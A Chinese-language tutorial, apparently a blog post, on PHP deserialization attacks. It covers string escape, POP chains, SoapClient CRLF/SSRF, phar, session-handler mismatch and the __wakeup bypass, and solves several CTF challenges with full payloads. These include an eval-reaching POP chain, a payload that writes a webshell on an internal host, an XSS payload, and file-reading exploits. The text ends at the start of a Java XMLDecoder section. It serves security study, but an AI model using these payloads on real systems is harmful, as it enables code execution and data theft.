对于想了解php反序列化漏洞的读者,本文将是一篇不可错过的文章,我们将详细介绍PHP反序列化漏洞和利用,并且为您提供关于java反序列化——XMLDecoder反序列化漏洞、phar反序列化漏洞、ph
对于想了解php反序列化漏洞的读者,本文将是一篇不可错过的文章,我们将详细介绍PHP反序列化漏洞和利用,并且为您提供关于java反序列化——XMLDecoder反序列化漏洞、phar反序列化漏洞、phar反序列化漏洞学习、php 反序列化漏洞简介的有价值信息。
本文目录一览:php反序列化漏洞(PHP反序列化漏洞和利用)
前言
本文总结PHP的反序列化,有PHP反序列字符串逃逸,PHP反序列化pop链构造,PHP反序列化原生类的利用,phar反序列化,session反序列化,反序列化小技巧,并附带ctf小题来说明,还有PHP反序列化的预防方法(个人想法),建议按需查看,如有错误还望斧正。
如非特别说明运行环境为PHP 7.2.33-1+ubuntu18.04.1
为什么要序列化?
序列化可以将对象,类,数组,变量,匿名函数等,转换为字符串,这样用户就方便存储和传输,同时方便恢复使用,对服务器也减轻一定的压力。
序列化基础
序列化为字符串时候,变量和参数之间用;隔开,同一个变量和参数间用:号隔开,以}作为结尾,具体结构,用以下代码来看下结构
<?PHP
class Lmg
{
public $name = 'Lmg';
public $age = 19;
public $blog = 'https://lmg66.github.io';
}
$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
?>
序列化属性
在一个可以序列化的字符串后加其他参数不影响序列化后的结果
如:
测试代码:
<?PHP
class Lmg
{
public $name = 'Lmg';
public $age = 19;
public $blog = 'https://lmg66.github.io';
}
$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
$Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}';
echo $Lmg2."\n";
print_r($lmg1);
print_r(unserialize($Lmg2));
?>
效果:可以发现,后面加了其他参数并不影响序列化后的结果
显示变量长度和实际长度不匹配就会报错,在这里在某些情况就会产生字符串逃逸
如:
测试代码:
<?PHP
class Lmg
{
public $name = 'Lmg';
public $age = 19;
public $blog = 'https://lmg66.github.io';
}
$lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
$lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
print_r(unserialize($lmg4));
print_r(unserialize($lmg5));
?>
效果:可以发现我改了变量名name使它的长度和实际4不符,就发生了报错,改其他类似
反序列常见魔术函数总览,可构造pop链
__construct: 当创建类的时候自动调用,也就是构造函数,无返回值
__destruct: 当类实例子销毁时候自动调用,也就是析构函数,无返回值,其不能带参数
__toString:当对象被当做一个字符串使用时调用,比如echo $obj 。
__sleep: 当类的实例被序列化时调用(其返回需要一个数组或者对象,一般返回对象的$this,返回的值被用来做序列化的值,如果不返回,表示序列化失败)
__wakeup: 当反序列化时被调用
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
反序列化字符串逃逸(替换后导致字符串变长)
字符串逃逸利用的是反序列化的属性如上文,出现原因是在序列化前进行了字符串的替换,导致字符串被拓冲,可以将后面的字符串挤出去,挤到后一个对象的变量从而改变其他的变量值,造成逃逸。
如:
测试代码:
<?PHP
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
序列化后的字符串为:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
如果能让name变量的参数为
";s:4:"pass";s:6:"hack";}
用}号闭合掉后面的pass参数,就能改pass变量的参数值从而逃逸
要解决的就是这个位置的长度问题,只用读取到足够的长度,才会停止
可以发现在序列化进行了字符串的替换,但替换的时候bb替换成了ccc,也就是字符串变长了,达到我们上面想要的目的
先判断想要构造的字符串长度
<?PHP
$lmg = '";s:4:"pass";s:6:"hack";}';
echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
// $lmg2 = "bb";
// echo str_repeat($lmg2, 25);
?>
运行长度为25,一个bb换成ccc,就逃逸1个字符,也就是说需要25个bb才能将后面的字符串给挤出来
<?PHP
// $lmg = '";s:4:"pass";s:6:"hack";}';
// echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
$lmg2 = "bb";
echo str_repeat($lmg2, 25);
?>
将name变量参数变为25个bb+";s:4:"pass";s:6:"hack";}
测试代码:
<?PHP
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";
print_r($AA);
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c);
// echo $c->pass."\n";
?>
运行结果:构造完的字符串,反序列化后发现密码被改为了hack,而我们并未直接修改pass的参数,从而实现字符串的逃逸
一个ctf例题([0CTF 2016]piapiapia)
地址:https://buuoj.cn/challenges#[0CTF%202016]piapiapia
打开题目扫描一下发现wwww.zip文件下载,因为本文主要交PHP反序化就不绕了
发现config.PHP中又flag,所以要读取文件,在profile.PHP中发现读取文件的代码
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
如果能让photo为config.PHP,而这数值来自$profile的反序列化,查看$profile
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
发现有过滤
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
要进行字符串的逃逸应该先考虑用nickname来构造字符串逃逸photo应为nickname在其前面
然后发现nickname有正则过滤,考虑用数组来进行绕过
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
数组绕过后就考虑进行逃逸将photo挤出去
所以我们需要构造nickname的参数值为";}s:5:"photo";s:10:"config.PHP";}
这里为什么要在前面加一个}呢???,因为为了绕过nickname的正则匹配我们将其构造成了数组,数组在反序列化要进行闭合,可以尝试一下
构造代码
<?PHP
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
}
$AA=new A();
echo serialize($AA)."\n";
// $res=filter(serialize($AA));
// $c=unserialize($res);
// echo $c->pass;
?>
运行结果发现数组位置进行了闭合
这就是为啥上面要先进行}在逃逸
构造我们想要的内容后要进行逃逸,我们发现过滤的时候将where改成了hacker,进行了字符串拓展增建了一个字符串,我们构造的字符串长度为34所以我们要构造34个where进行逃逸
然后查看profile.PHP的图片,base64解码就获得了config.PHP中的flag
反序列化字符串逃逸(替换后导致字符串变短)
字符串变短的逃逸类似于变长,都是利用了替换字符串导致的可输入变量的改变,从而可以闭合
测试代码:
<?PHP
function str_rep($string){
return preg_replace( '/PHP|test/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
发现进行了过滤,将PHP和test转换为空
如果我们在name的参数中输入PHP,test等,就换转换为空,那么就会把后面的数据当成变量
而sign的参数是可控的,如果当name参数为空而读取到sign可控参数前,那么就可以通过sign的参数控制字符串用}号来闭合掉后面的
计算";s:4:"sign";s:51:"的长度为19
而过滤PHP一个能吞掉3个字符串,所以我们要输入7个PHP也就是吞掉21长度,而后面是19长度,所以我们加2个字符来补充
所以构造
name=PHPPHPPHPPHPPHPPHPPHP
sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}
其中sign中12为补充使其为21长度,"号用于闭合name参数,然后可以发现,number不可变变量被改变
一个ctf例题([安洵杯 2019]easy_serialize_PHP)
题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php
打开题目是一段代码
<?PHP
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('PHP','flag','PHP5','PHP4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.PHP?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.PHP');
}else if($function == 'PHPinfo'){
eval('PHPinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
先看看PHPinfo中的数据,提示在d0g3_f1ag.PHP文件中
<?PHP
$_SESSION["user"]='123';
$_SESSION["function"]='123';
$_SESSION["img"]='123';
$Lmg = serialize($_SESSION);
echo $Lmg."\n";
?>
先构造代码尝试运行结果
和上面原理一样要将吞掉,长度为23
";s:8:"function";s:75:"
为什么s:后是75因为s后的长度必然大于10(也就是function传入数据的长度)所以我们只要大于10小于100都行,因为数据长度不可能大于100
而flag换成空格吞掉4个字符串,所以要6个flag(当然也可以8个PHP:3*8=24),然后还有在function参数加一个字符串来满足吞24个字符串
所以构造数字1也就是满足24长度加的,img变量要base64,因为实际的img参数被我们给挤出去了,所说
payload(post传输):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}
然后查看显示,查看源代码:
将img参数读取的文件改为/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
反序列化pop链构造
有时遇见魔法方法中没有利用代码,即不存在命令执行文件操作函数,可以通过调用其他类方法和魔法函数来达到目的
反序列化想构造的出的方法
命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()
实例
代码:
<?PHP
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
?>
lemon类创建了正常normal类,然后销毁时执行了action()方法,很正常,但如果让其调用evil类,销毁时候就会调用evil的action()方法出现eval方法,就能达到效果,所以需要构造
<?PHP
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "PHPinfo();";
}
$lmg = new lemon();
echo urlencode(serialize($lmg))."\n";
?>
evil中data参数为私有属性,在序列化时会出现不可复制字符,需进行url编码
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22PHPinfo%28%29%3B%22%3B%7D%7D
其中PHPinfo();可换成其他想要执行的命令system('dir');等等
PHP反序列化原生类利用
反序列没有合适的利用链,需要利用PHP自带的原生类
__call方法
__call方法在调用不存在类的方法时触发
PHP代码:
<?PHP
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>
通过unserialize进行反序列化,调用不存在notextist()类,将触发__call()魔法函数。
PHP中原生类soapClient,存在可以进行__call魔法函数。
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、uddi(UniversalDescriptiondiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, uddi用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
PHP中的SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
其中option可以定义 User-Agent
payload:
<?PHP
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>
注意:要开启soap,在PHP.ini中去除extension=PHP_soap.dll之前的“;” ,重启服务
payload:
<?PHP
$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
echo $lmg;
?>
地址换成自己服务器地址
我是用虚拟机ubantu开启的端口
nc -l 8888
执行:
当然我们也可以传数据进行CRLF,攻击内网服务,注入redis命令,因为可定义user_agent
payload:
<?PHP
$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
// echo $lmg."\n";
$poc = "CONfig SET dir /root/";
$target = "http://192.168.124.133:8888/";
$content = "Content-Length:45\r\n\r\ndata=abc";
$b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello'));
$aaa = serialize($b);
$aaa = str_replace('^^', "\n\r", $aaa);
echo $aaa."\n";
echo urlencode($aaa)."\n";
?>
内网中写shell:
内网中test.PHP
<?PHP
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo 'hi';
@$a=$_POST[1];
@eval($a);
}
?>
可以利用反序列化,CRLF内网攻击写shell,反序列化位置
<?PHP
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>
payload:
<?PHP
$target = 'http://127.0.0.1/CTF/test.PHP';
$post_string = '1=file_put_contents("shell.PHP", "<?PHP PHPinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: '
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo urlencode($aaa);
$c=unserialize(urldecode($aaa));
// $c->ss();
?>
__toString原生类利用
测试代码:
<?PHP
echo unserialize($_GET['u']);
?>
利用payload:
<?PHP
echo urlencode(serialize(new Exception("<script>alert(1)</script>")));
?>
exception类对于错误消息没有经过编码,直接输出到了网页,便可以造成xss
phar反序列化
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用PHP函数unserialize()的前提下,引起严重的PHP对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的PHP反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
原理
phar文件结构
- a stub
文件格式标准,格式为xxx 前面内容不限,但必须以__HALT_COMPILER();?>,否则无法识别是不是phar文件,其中xxx可以用作绕过文件上传的检测 - a manifest describing the contents
phar本质是一种压缩文件,压缩文件的权限,属性等信息所存放的位置,以序列的化的方法存储用户自定义的Meta-data,在使用phar://伪协议时会反序列化这部分,漏洞产生的原因就在这里
- the file contents
被压缩文件的内容 - [optional] a signature for verifying Phar integrity (phar file format only)
签名,文件末尾,格式:
phar://伪协议介绍
这个参数是PHP解压压缩包的一个函数,不管什么,都会当做压缩包来解压
测试:
要将PHP.ini中的phar.readonly选项设置为off,不然没法生成phar文件
用来包含某个文件,构建类TestObject,然后析构函数结束时打印data数据
<?PHP
class TestObject{
function __destruct()
{
echo $this -> data; // Todo: Implement __destruct() method.
}
}
include($_GET['Lmg']);
?>
生成phar文件,且定义的Meta-data的序列化
<?PHP
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?PHP __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'Lmg';
$phar -> setMetadata($object); //将自定义Meta-data存入manifest
$phar -> stopBuffering();
?>
运行生成文件为phar的文件
在真实情况,需要上传到目标服务器,然后利用phar在解压时会反序化Meta-data部分来达到目的,这里就直接直接包含了,打印了Lmg字符串
受影响的函数
利用条件:
- phar文件要能上传
- 有可利用函数如上图,可魔法函数构造pop链
- 文件函数操作可控,: / phar 等没过被过滤
一个ctf例子([CISCN2019 华北赛区 Day1 Web1]DropBox)
题目地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1]Dropbox
打开页面发现是一个注册于登录页面,注册登录发现是个类似网盘的功能,初始时在登录和注册页面尝试sql注入发现不行,然后在下载功能尝试下载发现登录和注册位置对数据库操作进行了prepare()的预处理,网盘有个下载功能,尝试下载,尝试任意下载,抓包,将下载内容改为源码(有index.PHP class.PHP upload.PHP download.PHP login.PHP register.PHP),为啥要加../../呢??前期我也不知道,看了别人题解发现,下载源码发现download.PHP,限制了切换了目录,同时没法下载其他目录,这就是后来为啥要用delete功能来phar://,那个位置没有进行目录的切换,然后想尝试文件上传来getshell,首先上传时进行了后缀判读,而且我们不知道上传后了路径,所以考虑其他方法
查看delete.PHP,new file()其用了delete()函数,到class.PHP中查看detele()使用unlink()来删除,而unlink()函数是phar反序列化受影响函数,那么下面我们想要的就是构造就是打开显示flag.txt文件,为啥flag在flag.txt中我就不知道了,可能ctf选手直觉,有点玄学了,如果你知道可以评论告诉我感谢,继续,在class.PHP中发现close()中File类file_get_contents(),但是没法调用,然后发现user类中的析构函数调用了close类,如果我们令$db=new File();的化,但是虽然我们打开了文件,但是没用回显,所以还是看不见文件内容,所以要构造其他的pop链,然后发现FileList()中存在魔法函数_call,如果调用了不存在的函数就会执行,call函数的作用:
public function __call($func, $args) {
array_push($this->funcs, $func); //如果调用了不存在的方法,将改方法放到funcs数组中
foreach ($this->files as $file) { //再从files数组中取出方法,利用这个元素去调用funcs中新增的func
$this->results[$file->name()][$func] = $file->$func(); //因为调用了不存在的键值close(),所以func=close,所以$file->$func相当于调用close()函数
}
}
而close函数打开$this->filename文件,所以我们构造File中的filename=./flag.txt就能打开该文件,而且该文件的内容存储到了results数组键值中,然后我们查看
File类中的析构函数,发现:
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td>' . htmlentities($value) . '</td>';
}
这里对result的键值进行了输出,所以就能得到flag.txt中的内容
最后payload:
<?PHP
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt"; //构造filename让其打开该文件
$this->files = array($file);
}
}
// $a = new User();
// $a->db = new FileList(); //这里让FileList调用了不存在函数close()函数
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?PHP __HALT_COMPILER();?>'); //设置stub
$o = new User();
$o->db = new FileList(); //这里让FileList调用了不存在函数close()函数
$phar->setMetadata($o); //将自定义的Meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
PHP反序列化Session反序列化
session在互联网起到的作用
session用于跟踪用户的行为,保存用户的信息和状态等等
session当用户第一次访问网站时,session_start()函数就会创建唯一的sessionid,通过HTTP响应将sessionid保存到用户的cookie中。同时在服务器创建一个sessionid命名的文件,用于保存这个用户的会话信息。当用户再次访问这个网站时,也会通过http请求将cookie中保存的session再次携带,但是服务器不会再创建同名文件,而是硬盘中寻找sessionid的同名文件,且将其读取出来。
服务器session_start()函数作用
当会话开始或通过session_start()开始时,PHP内部会通过传来的sessionid来读取文件,PHP会自动序列化sessio文件内容,并将其填充到超全局变量$_SESSION中。如果不存在对应的会话数据,则创建一个sessionid的文件。如果用户为发送sessionid,则创建一个由32个字母组成的PHPsessionid,并返回set-cookie
session配置和PHPsession反序列化原理
PHP.ini中的session配置
因为我使用的是PHPstudy搭建的环境所以路径比较奇怪
常见的存储位置
/var/lib/PHP5/sess_PHPSESSID
/var/lib/PHP7/sess_PHPSESSID
/var/lib/PHP/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
session反序列化原理
session的存储机制
测试代码:
<?PHP
//ini_set('session.serialize_handler', 'PHP');
//ini_set("session.serialize_handler", "PHP_serialize");
ini_set("session.serialize_handler", "PHP_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
分别注释查看不同机制的保存方式,我们分别?a=123查看
- Lmg|s:3:"123"; ----------------ini_set('session.serialize_handler', 'PHP'); PHP机制
- a:1:{s:3:"Lmg";s:3:"123";} ----------------ini_set("session.serialize_handler", "PHP_serialize"); PHP_serialize机制
- Lmgs:3:"123"; -----------------ini_set("session.serialize_handler", "PHP_binary"); PHP_binary机制
产生session反序列的原因就在程序员在读取或者存储中使用了不同的机制,我们以PHP_serialize格式来存储,用PHP机制来读取
测试代码:
存储session代码:
<?PHP
//ini_set('session.serialize_handler', 'PHP');
ini_set("session.serialize_handler", "PHP_serialize");
//ini_set("session.serialize_handler", "PHP_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
读取session代码:
<?PHP
ini_set("session.serialize_handler", "PHP");
session_start();
class student {
var $name;
var $age;
function __wakeup(){
echo $this->name;
}
}
?>
我们先构造一个student的类来生成我们想要的目的
<?PHP
class student {
var $name;
var $age;
}
$Lmg = new student();
$Lmg->name = "hack";
$Lmg->age = "19";
echo serialize($Lmg);
?>
生成的序列化字符串
O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
我们构造在储存页面构造payload,只需要在上面的字符串前加|就可,为什么呢???
如果我们传入的数值中有|那么在读取时就认为后面是我们要反序列化的字符串,从而达到目的
将构造的字符串传入存储PHP中计:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
查看储存的字符串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
所以达到了目的
查看一下读取的PHP,成功打印了hack
没有$_SESSION赋值的session反序列化
在PHP中存在一个upload_process机制,可以自动创建$_SESSION一个键值对,而且其中的值用户可以控制,文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
什么意思呢????意思上传文件,同时post一个于session.upload_process.name同名的变量。后端就会自动将post的这个同名变量作为键,进行序列化然后存储到session文件中,下次请求就会反序列化session文件
一个ctf题来实践了解一下
题目地址:http://web.jarvisoj.com:32784/index.php
打开题目是源码:
<?PHP
//A webshell is wait for you
ini_set('session.serialize_handler', 'PHP');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'PHPinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['PHPinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.PHP'));
}
?>
先读取session,然后get传入PHPinfo参数,然后创建对象,对象中构造函数给mdzz赋值PHPinfo,析构函数执行eval,所以我们的目的是将mdzz构造为读取文件
,先随便传入参数,查看PHPinfo中的参数,发现默认的反序列化机制是PHP-serialize,但是题目所使用PHP,那么这个两个机制再上文产生的漏洞我们已经了解,但是我们没法给session进行存储啊,所以就要用到上面session上传进度的session存储来存入我们想要的内容
构造上传表单
<form action="http://web.jarvisoj.com:32784/index.PHP" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
然后构造我们想要的payload,打印目录文件print_r(scandir(dirname(FILE)));,如果写入析构函数会eval执行
<?PHP
class OowoO {
public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));";
echo serialize($Lmg);
?>
生成的序列化字符串
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
我们用上传表单随便上传一个文件,抓包将filename改为
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
为什么要改filename,因为其会跟file数组保存到session中上面图片有说明
为啥要在字符串前加|,这个上面也说过,因为反序列化的机制不一样,|后会当做要反序列化的字符串
为什么要再"前加\,因为我们的字符串是放在filename=""双引号内要进行转义
发现成功读取到文件名,但是我们不知道文件目录,查看PHPinfo(),查看当前脚本的运行路径
所以构造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP"));来读取这个文件
payload:
<?PHP
class OowoO {
public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP\"));";
echo serialize($Lmg);
?>
生成的字符串,成功获得flag
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP"));";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP\"));\";}
PHP反序列化小技巧
__wakeup失效:CVE-2016-7124
漏洞利用版本:
PHP5<5.6.25
PHP7<7.0.10
漏洞产生原因
如果存在_wakeup方法,调用unserilize()方法前则先调用_wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时候,便会跳过_wakeup的执行
测试代码:
<?PHP
class demo{
public $name = "Lmg";
public function __wakeup(){
echo "this is __wakeup<br>";
}
public function __destruct(){
echo "this is __destruct<br>";
}
}
// $a = new demo();
// echo serialize($a);
unserialize($_GET['Lmg']);
?>
对比发现页面只执行了__destruct方法,从而__wakeup()失效
一个ctf例题(unserialize3)
题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
打开题目直接是部分源码,看到wakeup函数应该想到是利用__wakeup()失效漏洞
题目源码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
构造payload:
<?PHP
class xctf{
public $flag = '111';
}
$Lmg = new xctf();
echo serialize($Lmg);
?>
生成的字符串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功获得flag
bypass反序列化正则
当执行反序列化时,使用正则'/[oc]:\d+:/i'
进行拦截时,主要拦截O:数字:的反序列化字符串,那要怎么绕过呢???
PHP反序列化时O:+4:和O:4:的解析是一样的,具体是PHP的内核是这么写的
所以可以通过加+来进行绕过
一个ctf例题(Web_PHP_unserialize)
题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
打开题目是源代码:
<?PHP
class Demo {
private $file = 'index.PHP';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.PHP') {
//the secret is in the fl4g.PHP
$this->file = 'index.PHP';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.PHP");
}
?>
所以构造payload来进行绕过:
<?PHP
class Demo {
private $file = 'fl4g.PHP';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var传入即可获得flag
如果这里没有base64加密,我么也需要进行url编码,因为demo中private为私有属性,反序列化会出现不可见字符,所以要进行url编码
如何防止PHP反序列化
- 尽量不要用序列化来传输数据
- 不要相信用户传入数据,或者不让用户传入完整的序列化类型,进行过滤
- 隔离运行在低权限环境中的反序列化,记录反序列化异常和失败,例如传入类型不是预期类型,或者反序列化引发异常,限制或监视来自反序列化的容器或服务器的传入和传出网络连接,限制或监视来自反序列化的容器或服务器的传入和传出网络连接。监视反序列化,如果用户不断地反序列化,则发出警报。
参考文章及说明
参考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/
https://xz.aliyun.com/t/7366#toc-6
《从从0到1 ctfer的成长之路》
最后欢迎访问我的个人博客:https://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担
java反序列化——XMLDecoder反序列化漏洞
前言
最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDecoder反序列化导致漏洞,但是网上大部分的文章都只讲到了触发XMLDecoder部分就结束了,并没有讲为什么XMLDecoder会触发反序列化导致命令执行。于是带着好奇的我就跟着调了一下XMLDecoder的反序列化过程。
xml序列化
首先了解一下java中的XMLDecoder是什么。XMLDecoder就是jdk中一个用于处理xml数据的类,先看两个例子。
这里引用一下浅蓝表哥的(强推浅蓝表哥的博客https://b1ue.cn/
这样就把map对象变成了xml数据,再使用XMLDecoder解析一下。
